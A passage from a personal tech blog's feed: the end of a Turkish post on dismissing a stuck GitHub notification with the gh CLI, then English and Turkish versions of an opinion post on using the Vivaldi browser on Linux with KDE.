&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;DELETE&lt;span class="w"&gt; &lt;/span&gt;notifications/threads/19105015689
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda hi&amp;ccedil;bir &amp;scedil;ey olmayacak gibi g&amp;ouml;r&amp;uuml;n&amp;uuml;r. &amp;Ccedil;&amp;inodot;kt&amp;inodot; falan vermez genelde. Ama arka planda o bildirim art&amp;inodot;k "okunmu&amp;scedil;" olarak i&amp;scedil;aretlendi. GitHub'a gidip bakt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda o k&amp;inodot;rm&amp;inodot;z&amp;inodot; noktan&amp;inodot;n kayboldu&amp;gbreve;unu g&amp;ouml;receksiniz. Ya da en az&amp;inodot;ndan say&amp;inodot;n&amp;inodot;n bir azald&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;. B&amp;uuml;y&amp;uuml;k zafer! 😎&lt;/p&gt;
&lt;p&gt;API d&amp;uuml;nyas&amp;inodot; da bir garip yani. Bir &amp;scedil;eyi "okundu" yapmak i&amp;ccedil;in &lt;code&gt;DELETE&lt;/code&gt; (Sil) fiilini kullanmak... B&amp;ouml;yle demek &amp;ccedil;ok resmi ka&amp;ccedil;t&amp;inodot;, dur &amp;scedil;&amp;ouml;yle d&amp;uuml;zelteyim: Adamlar "okundu olarak i&amp;scedil;aretle" diye ayr&amp;inodot; bir komut yapmak yerine "listeden silinsin gitsin" mant&amp;inodot;&amp;gbreve;&amp;inodot;yla &lt;code&gt;DELETE&lt;/code&gt; demi&amp;scedil;ler herhalde. Neyse, &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu? &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. Gerisi teferruat.&lt;/p&gt;
&lt;h2 id="sonuc-yani-simdilik_1"&gt;Sonu&amp;ccedil;? Yani, &amp;Scedil;imdilik...&lt;a class="headerlink" href="#sonuc-yani-simdilik" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te b&amp;ouml;yle. Tek bir komutla o sinir bozucu bildirimden kurtulduk. B&amp;uuml;y&amp;uuml;k bir zafer mi? Hay&amp;inodot;r. Ama g&amp;uuml;n i&amp;ccedil;inde kazand&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z k&amp;uuml;&amp;ccedil;&amp;uuml;k zaferler bunlar i&amp;scedil;te. Bu, bana kal&amp;inodot;rsa en az 5-10 saniye kazand&amp;inodot;rd&amp;inodot;, belki daha fazla! O saniyelerde ne yapars&amp;inodot;n? Bilgisayar&amp;inodot;n ba&amp;scedil;&amp;inodot;nda esnersin, kahve yudumlars&amp;inodot;n... Neyse.&lt;/p&gt;
&lt;p&gt;Tabii bu, o projenin size bir daha bildirim g&amp;ouml;ndermeyece&amp;gbreve;i anlam&amp;inodot;na gelmiyor. Bu d&amp;ouml;ng&amp;uuml; maalesef hi&amp;ccedil; bitmiyor. Ama en az&amp;inodot;ndan art&amp;inodot;k o anl&amp;inodot;k sinir bozuklu&amp;gbreve;unu terminalden h&amp;inodot;zl&amp;inodot;ca &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in bir silah&amp;inodot;m&amp;inodot;z var. Akl&amp;inodot;ma geldi de, bunu toplu yapmak i&amp;ccedil;in k&amp;uuml;&amp;ccedil;&amp;uuml;k bir &lt;code&gt;bash&lt;/code&gt; script'i yaz&amp;inodot;labilir asl&amp;inodot;nda... Neyse, o da ba&amp;scedil;ka bir g&amp;uuml;n&amp;uuml;n konusu.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Daha Fazlas&amp;inodot; &amp;Idot;&amp;ccedil;in GitHub API'sinin di&amp;gbreve;er nimetlerini merak ediyorsan&amp;inodot;z, GitHub'&amp;inodot;n &lt;a href="https://docs.github.com/en/rest" rel="noopener noreferrer" target="_blank"&gt;REST API dok&amp;uuml;manlar&amp;inodot;&lt;/a&gt; derya deniz. Ama dikkat, i&amp;ccedil;inde kaybolabilirsiniz.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;img alt="Github G&amp;ouml;r&amp;uuml;nmeyen bildirim" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp" srcset="/images/github-bildirim-spam-gh-ile-kurtulmak-sm.webp 300w, /images/github-bildirim-spam-gh-ile-kurtulmak-md.webp 500w, /images/github-bildirim-spam-gh-ile-kurtulmak-lg.webp 800w, /images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Git"/><category term="github"/><category term="gh"/><category term="cli"/><category term="bildirim"/><category term="terminal"/></entry><entry><title>Why I Love Vivaldi</title><link href="https://yuceltoluyag.github.io/en/vivaldi-linux-deneyimi/" rel="alternate"/><published>2025-11-18T22:55:00+03:00</published><updated>2025-11-18T22:55:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-18:/en/vivaldi-linux-deneyimi/</id><summary type="html">&lt;p&gt;As someone who suffered through Internet Explorer, I give Chrome its due. But I'm explaining why I returned to my old friend Vivaldi after switching to KDE and why I don't care about FOSS obsessions.&lt;/p&gt;</summary><content type="html">&lt;h2 id="why-vivaldi-on-linux-whats-the-big-deal"&gt;Why Vivaldi on Linux? What's the Big Deal?&lt;a class="headerlink" href="#why-vivaldi-on-linux-whats-the-big-deal" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's be honest, when you talk about browsers on Linux, two names usually come to mind: Firefox and... Chromium (or its derivatives). Firefox is the fortress of the FOSS (Free and Open Source Software) world. Chromium is Google's standard.&lt;/p&gt;
&lt;p&gt;So where does Vivaldi fit into this picture?&lt;/p&gt;
&lt;p&gt;When I first installed Vivaldi, I thought it was less of a browser and more of an "airplane cockpit." Its purpose isn't simplicity, but the exact opposite: &lt;strong&gt;Control&lt;/strong&gt;. Vivaldi is made for the "power user" who wants to "manage" their browser and loves to tweak every corner to their liking. (In fact, if you want to make your browser more secure, be sure to check out my &lt;a href="/en/vivaldi-doh-dns-over-https-ayari/"&gt;How to Configure DoH in Vivaldi&lt;/a&gt; guide).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tab Management:&lt;/strong&gt; Grouping tabs (stacking), viewing two tabs at once in a split screen (tiling)... these are fantastic features. They are lifesavers, especially when you have 20+ tabs open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sidebar:&lt;/strong&gt; This is like Vivaldi's signature feature. You can pin downloads, notes, bookmarks, and even sites like WhatsApp Web to that panel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Built-in Toys:&lt;/strong&gt; It has a built-in note-taking tool, an RSS reader, and a screenshot tool. It's truly a "Swiss Army Knife" 🇨🇭 without needing another extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In short, Vivaldi tells you: "This browser is yours. Take it, break it, spill it, reshape it as you wish."&lt;/p&gt;
&lt;h2 id="so-why-doesnt-everyone-use-it-the-objections"&gt;So Why Doesn't Everyone Use It? (The Objections)&lt;a class="headerlink" href="#so-why-doesnt-everyone-use-it-the-objections" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We've praised it so much, so why don't all Linux distributions come with Vivaldi? Why do people get a little tense when its name comes up in FOSS communities?&lt;/p&gt;
&lt;p&gt;This is where the rubber meets the road.&lt;/p&gt;
&lt;h3 id="1-the-sin-of-closed-source"&gt;1. The Sin of Closed Source&lt;a class="headerlink" href="#1-the-sin-of-closed-source" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is its biggest "sin" in the Linux world. Yes, Vivaldi's foundation (Chromium) is open source, but its user interface (UI), the layer that provides all the features we love, is &lt;strong&gt;closed source&lt;/strong&gt; (proprietary).&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! ⚠️ Not Fully FOSS! For most Linux users, 'free software' is a philosophy. If you can't see a software's code, you can't fully know what it's doing inside. Because Vivaldi doesn't fully adhere to this philosophy, it crosses a red line for many 'old-school' Linux users.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="2-is-it-a-bit-sluggish-myths-and-realities"&gt;2. Is It "A Bit Sluggish"? (Myths and Realities)&lt;a class="headerlink" href="#2-is-it-a-bit-sluggish-myths-and-realities" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Let's talk about performance. Vivaldi used to be called "heavy," and I would have agreed.&lt;/p&gt;
&lt;p&gt;I remember using it on my old &lt;strong&gt;ThinkPad W520&lt;/strong&gt; laptop; the machine would literally groan. Moreover, there was no &lt;strong&gt;Sync&lt;/strong&gt; feature back then, so everything was lost after a reinstall&amp;mdash;a total pain.&lt;/p&gt;
&lt;p&gt;But it's 2025, and things have changed a lot. I'm currently using Vivaldi on a modern system with an &lt;strong&gt;i5-13400F&lt;/strong&gt; processor and &lt;strong&gt;16GB of DDR5 RAM&lt;/strong&gt;, and the result is surprising.&lt;/p&gt;
&lt;p&gt;Right now, with &lt;strong&gt;18 tabs&lt;/strong&gt; open and &lt;strong&gt;10 active extensions&lt;/strong&gt;, RAM usage is only around &lt;strong&gt;1.9 GB&lt;/strong&gt;. Thanks to Vivaldi's &lt;strong&gt;Tab Hibernation&lt;/strong&gt; feature, unused tabs don't bog down the system in the background. So, on modern hardware, the "Vivaldi is sluggish" argument is no longer valid; it runs very efficiently and quickly. 🚀&lt;/p&gt;
&lt;h3 id="3-feature-overload-the-paradox"&gt;3. Feature Overload (The Paradox)&lt;a class="headerlink" href="#3-feature-overload-the-paradox" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;It sounds strange, but yes. Some users just want their browser to open websites &lt;em&gt;quickly&lt;/em&gt;. The settings menu, note panel, RSS reader, etc., that greet them when they open Vivaldi... it's overwhelming. For the person who just "wanted to Google something," Vivaldi is a complete headache.&lt;/p&gt;
&lt;h2 id="does-it-have-a-dirty-past-any-scandals_1"&gt;Does It Have a Dirty Past? Any Scandals?&lt;a class="headerlink" href="#does-it-have-a-dirty-past-any-scandals" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When people hear "closed source," they immediately think, "It must be selling my data!" And they have a right to be suspicious.&lt;/p&gt;
&lt;p&gt;So what's Vivaldi's situation? Let me tell you straight: No. It doesn't have a major incident like "Millions of users' data leaked" or "Sold your settings to China." The company (partly due to its European origins) has a clear stance on data privacy, saying, "We don't sell your data."&lt;/p&gt;
&lt;p&gt;But... (yes, there's a 'but'):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Default Settings:&lt;/strong&gt; Some privacy tests (like those conducted by sites such as &lt;a href="https://avoidthehack.com" rel="noopener noreferrer" target="_blank"&gt;Avoid the Hack&lt;/a&gt;) have shown that Vivaldi's default settings aren't the "most secure." This means you need to do some tweaking right after installation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Google Feud:&lt;/strong&gt; Years ago, its founder (also the former CEO of Opera) had a spat with Google. They claimed Google stopped their AdWords ads "without a valid reason." That's competition for you, not too surprising.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ Do This Right After Installing: After installing Vivaldi, immediately go to &lt;code&gt;Settings &amp;gt; Privacy and Security &amp;gt; Tracker and Ad Blocking&lt;/code&gt;. By default, it comes with 'No Blocking' or 'Block Trackers' selected. Change this to &lt;strong&gt;'Block Trackers and Ads.'&lt;/strong&gt; It will change your world.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="confessions-of-a-dinosaur-ie-chrome-and-the-return-home"&gt;Confessions of a Dinosaur: IE, Chrome, and the Return Home&lt;a class="headerlink" href="#confessions-of-a-dinosaur-ie-chrome-and-the-return-home" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now let's leave the technical details for a bit and return to real life.&lt;/p&gt;
&lt;p&gt;I'm someone who has witnessed the crawling and growing phases of internet browsers with my own eyes. Those who suffered through that creature called Internet Explorer will understand me very well. 🦖 After those days, Google Chrome was not just a browser for us; it was a blessing, a whole universe.&lt;/p&gt;
&lt;p&gt;Just as I'm not a "distro-hopper" (constantly changing distributions) in the Linux world, I haven't been fickle with browsers either. I used Chrome for years. Yes, they sometimes made absurd decisions that undermined the user experience, but I continued on my way, thinking, "only those who suffered know." I rarely gave Firefox a chance, but that was it.&lt;/p&gt;
&lt;p&gt;So what happened now that brought Vivaldi back to my desk?&lt;/p&gt;
&lt;p&gt;Recently, to provide you all with better visuals (even though I can't stream 😅), I switched to the &lt;strong&gt;KDE&lt;/strong&gt; desktop environment. With my move to KDE, I also returned to my old friend Vivaldi.&lt;/p&gt;
&lt;p&gt;If it weren't for Chrome, this would definitely be my primary browser. Why? Because I can customize everything about it. I use it with a minimum of 15-20 tabs open, and Vivaldi doesn't break a sweat. I love this tool much more than other alternative browsers.&lt;/p&gt;
&lt;h2 id="my-gripe-with-those-who-say-but-its-closed-source"&gt;My Gripe with Those Who Say, "But It's Closed Source!"&lt;a class="headerlink" href="#my-gripe-with-those-who-say-but-its-closed-source" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's get to the infamous topic...&lt;/p&gt;
&lt;p&gt;Frankly, I don't understand why such a powerful and customizable browser is ostracized and declared taboo just because a part of it is closed source. I can't make sense of it. 🤷&amp;zwj;&amp;male;️&lt;/p&gt;
&lt;p&gt;Let's be a little realistic here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;At least they don't sell you a "privacy" story and then secretly sell your data to the companies you hate, unlike some other browsers.&lt;/li&gt;
&lt;li&gt;We've seen what even your favorite, praised-to-the-skies Firefox has been involved in in the past. We've told these "FOSS bros" before, but they wouldn't listen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Something being open source doesn't mean you have complete control.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For me, Vivaldi is the winner for now with its honesty, customizability, and compatibility with KDE. 😎&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This is the most debated topic in the FOSS (Free and Open Source Software) community. The Chromium base is open source, but that beautiful UI... is not.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="vivaldi"/><category term="linux"/><category term="browser"/><category term="privacy"/><category term="kde"/><category term="performance"/></entry><entry><title>Vivaldi'yi Neden Seviyorum</title><link href="https://yuceltoluyag.github.io/vivaldi-linux-deneyimi/" rel="alternate"/><published>2025-11-18T22:55:00+03:00</published><updated>2025-11-18T22:55:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-18:/vivaldi-linux-deneyimi/</id><summary type="html">&lt;p&gt;Internet Explorer kahrını çekmiş biri olarak Chrome'un hakkını veririm. Ama KDE'ye geçişimle birlikte eski dostum Vivaldi'ye neden döndüğümü ve FOSS takıntılarını neden umursamadığımı anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;h2 id="linuxta-neden-vivaldi-olay-ne"&gt;Linux'ta Neden Vivaldi? Olay&amp;inodot; Ne?&lt;a class="headerlink" href="#linuxta-neden-vivaldi-olay-ne" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hadi d&amp;uuml;r&amp;uuml;st olal&amp;inodot;m, Linux'ta taray&amp;inodot;c&amp;inodot; deyince akla genelde iki isim gelir: Firefox ve... Chromium (veya t&amp;uuml;revleri). Firefox, FOSS (&amp;Ouml;zg&amp;uuml;r ve A&amp;ccedil;&amp;inodot;k Kaynak) d&amp;uuml;nyas&amp;inodot;n&amp;inodot;n kalesi. Chromium ise Google'&amp;inodot;n standart&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Peki Vivaldi bu resimde nerede duruyor?&lt;/p&gt;
&lt;p&gt;Ben Vivaldi'yi ilk kurdu&amp;gbreve;umda, bunun bir taray&amp;inodot;c&amp;inodot;dan &amp;ccedil;ok, bir "u&amp;ccedil;ak kokpiti" oldu&amp;gbreve;unu d&amp;uuml;&amp;scedil;&amp;uuml;nm&amp;uuml;&amp;scedil;t&amp;uuml;m. Olay&amp;inodot; basitlik de&amp;gbreve;il, tam tersi: &lt;strong&gt;Kontrol&lt;/strong&gt;. Vivaldi, taray&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; "y&amp;ouml;netmek" isteyen, her k&amp;ouml;&amp;scedil;esini kendine g&amp;ouml;re ayarlamay&amp;inodot; seven "power user" (g&amp;uuml;&amp;ccedil;l&amp;uuml; kullan&amp;inodot;c&amp;inodot;) i&amp;ccedil;in yap&amp;inodot;lm&amp;inodot;&amp;scedil;. (Hatta taray&amp;inodot;c&amp;inodot;n&amp;inodot;z&amp;inodot; daha g&amp;uuml;venli hale getirmek istiyorsan&amp;inodot;z &lt;a href="/vivaldi-doh-dns-over-https-ayari/"&gt;Vivaldi'de DoH Ayar&amp;inodot; Nas&amp;inodot;l Yap&amp;inodot;l&amp;inodot;r&lt;/a&gt; rehberime de mutlaka g&amp;ouml;z at&amp;inodot;n).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sekme Y&amp;ouml;netimi:&lt;/strong&gt; Sekmeleri gruplama (stacking), b&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; ekranda iki sekmeyi ayn&amp;inodot; anda g&amp;ouml;rme (tiling)... bunlar harika &amp;ouml;zellikler. &amp;Ouml;zellikle 20+ sekme a&amp;ccedil;&amp;inodot;nca hayat kurtar&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yan Panel (Sidebar):&lt;/strong&gt; Bu, Vivaldi'nin imzas&amp;inodot; gibi bir &amp;scedil;ey. &amp;Idot;ndirilenler, notlar, yer imleri, hatta WhatsApp Web gibi siteleri o panele sabitleyebiliyorsun.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dahili Oyuncaklar:&lt;/strong&gt; &amp;Idot;&amp;ccedil;inde not alma arac&amp;inodot; var, RSS okuyucusu var, ekran g&amp;ouml;r&amp;uuml;nt&amp;uuml;s&amp;uuml; alma arac&amp;inodot; var. Ba&amp;scedil;ka bir eklentiye ihtiya&amp;ccedil; duymadan resmen bir "&amp;Idot;svi&amp;ccedil;re &amp;Ccedil;ak&amp;inodot;s&amp;inodot;" 🇨🇭 gibi.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;K&amp;inodot;sacas&amp;inodot;, Vivaldi sana diyor ki: "Bu taray&amp;inodot;c&amp;inodot; senin, al, istedi&amp;gbreve;in gibi k&amp;inodot;r, d&amp;ouml;k, yeniden &amp;scedil;ekillendir."&lt;/p&gt;
&lt;h2 id="o-zaman-neden-herkes-kullanmyor-itiraz-noktalar"&gt;O Zaman Neden Herkes Kullanm&amp;inodot;yor? (&amp;Idot;tiraz Noktalar&amp;inodot;)&lt;a class="headerlink" href="#o-zaman-neden-herkes-kullanmyor-itiraz-noktalar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu kadar &amp;ouml;vd&amp;uuml;k, peki neden t&amp;uuml;m Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot; Vivaldi ile gelmiyor? Neden FOSS topluluklar&amp;inodot;nda ad&amp;inodot; ge&amp;ccedil;ti&amp;gbreve;inde insanlar biraz geriliyor?&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te zurnan&amp;inodot;n z&amp;inodot;rt dedi&amp;gbreve;i yer.&lt;/p&gt;
&lt;h3 id="1-kapal-kaynak-gunah"&gt;1. Kapal&amp;inodot; Kaynak G&amp;uuml;nah&amp;inodot;&lt;a class="headerlink" href="#1-kapal-kaynak-gunah" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bu, Linux d&amp;uuml;nyas&amp;inodot;ndaki en b&amp;uuml;y&amp;uuml;k "g&amp;uuml;nah&amp;inodot;". Evet, Vivaldi'nin temeli (Chromium) a&amp;ccedil;&amp;inodot;k kaynak, ama aray&amp;uuml;z&amp;uuml; (UI), yani o sevdi&amp;gbreve;imiz t&amp;uuml;m &amp;ouml;zellikleri sunan katman, &lt;strong&gt;kapal&amp;inodot; kaynak&lt;/strong&gt; (proprietary).&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ⚠️ Tam FOSS De&amp;gbreve;il! Linux kullan&amp;inodot;c&amp;inodot;lar&amp;inodot;n&amp;inodot;n &amp;ccedil;o&amp;gbreve;u i&amp;ccedil;in '&amp;ouml;zg&amp;uuml;r yaz&amp;inodot;l&amp;inodot;m' bir felsefedir. Bir yaz&amp;inodot;l&amp;inodot;m&amp;inodot;n kodunu g&amp;ouml;remiyorsan, i&amp;ccedil;inde ne yapt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; tam olarak bilemezsin. &amp;Idot;&amp;scedil;te Vivaldi, bu felsefeye tam uymad&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in bir&amp;ccedil;ok 'eski toprak' Linux kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;n k&amp;inodot;rm&amp;inodot;z&amp;inodot; &amp;ccedil;izgisini ge&amp;ccedil;iyor.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="2-biraz-hantal-m-efsaneler-ve-gercekler"&gt;2. "Biraz Hantal" m&amp;inodot;? (Efsaneler ve Ger&amp;ccedil;ekler)&lt;a class="headerlink" href="#2-biraz-hantal-m-efsaneler-ve-gercekler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Gelelim performans konusuna. Eskiden Vivaldi i&amp;ccedil;in "a&amp;gbreve;&amp;inodot;r" denirdi, ben de buna kat&amp;inodot;l&amp;inodot;rd&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;Eski &lt;strong&gt;ThinkPad W520&lt;/strong&gt; laptopumda kulland&amp;inodot;&amp;gbreve;&amp;inodot;m zamanlar&amp;inodot; hat&amp;inodot;rl&amp;inodot;yorum; makine resmen inlerdi. &amp;Uuml;stelik o zamanlar &lt;strong&gt;Sync (Senkronizasyon)&lt;/strong&gt; &amp;ouml;zelli&amp;gbreve;i de yoktu, format at&amp;inodot;nca her &amp;scedil;ey giderdi, tam bir eziyetti.&lt;/p&gt;
&lt;p&gt;Ama y&amp;inodot;l 2025 ve durum &amp;ccedil;ok de&amp;gbreve;i&amp;scedil;ti. &amp;Scedil;u an &lt;strong&gt;i5-13400F&lt;/strong&gt; i&amp;scedil;lemcili, &lt;strong&gt;16GB DDR5 RAM&lt;/strong&gt;'li g&amp;uuml;ncel bir sistemde Vivaldi kullan&amp;inodot;yorum ve sonu&amp;ccedil; &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot;.&lt;/p&gt;
&lt;p&gt;&amp;Scedil;u an &lt;strong&gt;18 sekme&lt;/strong&gt; a&amp;ccedil;&amp;inodot;k, &lt;strong&gt;10 aktif eklenti&lt;/strong&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor ve RAM t&amp;uuml;ketimi sadece &lt;strong&gt;1.9 GB&lt;/strong&gt; civar&amp;inodot;nda. Vivaldi'nin &lt;strong&gt;Sekme Uyutma (Hibernation)&lt;/strong&gt; &amp;ouml;zelli&amp;gbreve;i sayesinde, kullanmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z sekmeler arka planda sistemi yormuyor. Yani modern donan&amp;inodot;mlarda "Vivaldi hantal" laf&amp;inodot; art&amp;inodot;k ge&amp;ccedil;erli de&amp;gbreve;il; gayet verimli ve seri &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. 🚀&lt;/p&gt;
&lt;h3 id="3-ozellik-fazlalg-paradoks"&gt;3. &amp;Ouml;zellik Fazlal&amp;inodot;&amp;gbreve;&amp;inodot; (Paradoks)&lt;a class="headerlink" href="#3-ozellik-fazlalg-paradoks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Kula&amp;gbreve;a tuhaf geliyor ama evet. Baz&amp;inodot; kullan&amp;inodot;c&amp;inodot;lar sadece taray&amp;inodot;c&amp;inodot;lar&amp;inodot;n&amp;inodot;n &lt;em&gt;h&amp;inodot;zl&amp;inodot;ca&lt;/em&gt; web sitelerini a&amp;ccedil;mas&amp;inodot;n&amp;inodot; ister. Vivaldi'yi a&amp;ccedil;t&amp;inodot;klar&amp;inodot;nda kar&amp;scedil;&amp;inodot;lar&amp;inodot;na &amp;ccedil;&amp;inodot;kan ayar men&amp;uuml;s&amp;uuml;, not paneli, RSS okuyucu falan... bu onlar&amp;inodot; bo&amp;gbreve;uyor. "Ben sadece Google'a girecektim" diyen adam i&amp;ccedil;in Vivaldi tam bir ba&amp;scedil; a&amp;gbreve;r&amp;inodot;s&amp;inodot;.&lt;/p&gt;
&lt;h2 id="gecmisi-kirli-mi-skandal-var-m_1"&gt;Ge&amp;ccedil;mi&amp;scedil;i Kirli mi? Skandal&amp;inodot; Var m&amp;inodot;?&lt;a class="headerlink" href="#gecmisi-kirli-mi-skandal-var-m" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;nsanlar kapal&amp;inodot; kaynak bir &amp;scedil;ey duyunca hemen "Kesin verilerimi sat&amp;inodot;yordur!" diye d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;yor. Hakl&amp;inodot;lar da.&lt;/p&gt;
&lt;p&gt;Peki Vivaldi'nin durumu ne? Hemen s&amp;ouml;yleyeyim: Hay&amp;inodot;r. &amp;Ouml;yle "Milyonlarca kullan&amp;inodot;c&amp;inodot;n&amp;inodot;n verisi s&amp;inodot;zd&amp;inodot;" veya "Ayarlar&amp;inodot;n&amp;inodot;z&amp;inodot; &amp;Ccedil;in'e satt&amp;inodot;" gibi b&amp;uuml;y&amp;uuml;k bir vukuat&amp;inodot; yok. &amp;Scedil;irketin (Avrupa k&amp;ouml;kenli olmas&amp;inodot;n&amp;inodot;n da etkisiyle) veri gizlili&amp;gbreve;i konusunda "Biz verinizi satmay&amp;inodot;z" diyen net bir duru&amp;scedil;u var.&lt;/p&gt;
&lt;p&gt;Ama... (evet, bir 'ama' var):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Varsay&amp;inodot;lan Ayarlar:&lt;/strong&gt; Baz&amp;inodot; gizlilik testlerinde (&lt;a href="https://avoidthehack.com" rel="noopener noreferrer" target="_blank"&gt;Avoid the Hack&lt;/a&gt; gibi sitelerin yapt&amp;inodot;&amp;gbreve;&amp;inodot;) Vivaldi'nin varsay&amp;inodot;lan ayarlar&amp;inodot;n&amp;inodot;n "en g&amp;uuml;venli" olmad&amp;inodot;&amp;gbreve;&amp;inodot; g&amp;ouml;r&amp;uuml;lm&amp;uuml;&amp;scedil;. Yani kurar kurmaz biraz kurcalaman gerekiyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Kavgas&amp;inodot;:&lt;/strong&gt; Y&amp;inodot;llar &amp;ouml;nce kurucusu (Opera'n&amp;inodot;n da eski CEO'su) Google ile bir at&amp;inodot;&amp;scedil;ma ya&amp;scedil;ad&amp;inodot;. Google'&amp;inodot;n, Vivaldi'nin AdWords reklamlar&amp;inodot;n&amp;inodot; "hakl&amp;inodot; bir sebep olmadan" durdurdu&amp;gbreve;unu iddia ettiler. Rekabet i&amp;scedil;te, pek de &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot; de&amp;gbreve;il.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition tip"&gt;
